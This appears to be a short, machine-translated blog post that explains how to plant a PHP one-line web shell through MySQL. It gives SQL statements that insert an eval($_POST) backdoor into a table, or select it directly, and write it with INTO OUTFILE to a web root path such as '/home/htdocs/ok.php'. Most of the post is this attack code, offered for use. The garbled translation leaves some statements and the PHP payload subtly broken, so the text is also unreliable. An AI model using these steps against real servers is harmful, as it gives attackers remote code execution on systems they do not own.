Heard is very old things, learning when found still very useful, so learn to reprint, stay prepared to learn.
MySQL Export a word
- Method 1: Popular methods on the Internet
Process: (1) Build Table---> (2) Insert Data---> (3) Select query Export
Use test; #调用test数据库;
DROP TABLE IF EXISTS tmp; # test If there is a TMP table in the current data;
CREATE TABLE tmp (cmd TEXT not NULL); # CREATE TABLE tmp, where the fields are cmd and the value cannot be null;
INSERT into tmp (CMD) VALUES (' <?php @eval ($_post[' Pass '));? > '); # Insert a sentence into the TMP table in the CMD field;
SELECT cmd from hello to OUTFILE '/home/htdocs/ok.php '; # Use SELECT ' Sth ' into outfile ' website physical path ';
DROP TABLE tmp; # Delete Table tmp.
Drop TABLE IF EXISTS temp; Delete if temp is present
Create TABLE Temp (cmd text not NULL); Create a temp table with a CMD field inside it
Insert into temp (cmd) VALUES (' <? PHP eval ($_post[cmd));? > '); Insert a word trojan into the temp table
Select cmd from temp to out file ' d:/wwwroot/1.php '; Query a sentence in the Temp table and import the results into eval.php
Drop TABLE IF EXISTS temp; Delete Temp
- Method 2: Direct select query exports a word
There is also a train of thought, is through the select ' a word ' into the outfile ' website physical path ' can, the concrete operation statement is as follows:
Select ' <? PHP eval ($_post[cmd]);? > ' into outfile ' d:/phpstudy/wwww/1.php ';
This is simple and clear, not so much nonsense. I do not know the method of the Internet to operate so complex (build table-insert data-finally export data from the table), really complex!!!
If who knows, online such operation reasons, please give me a message to share under!!!
MySQL Export a Word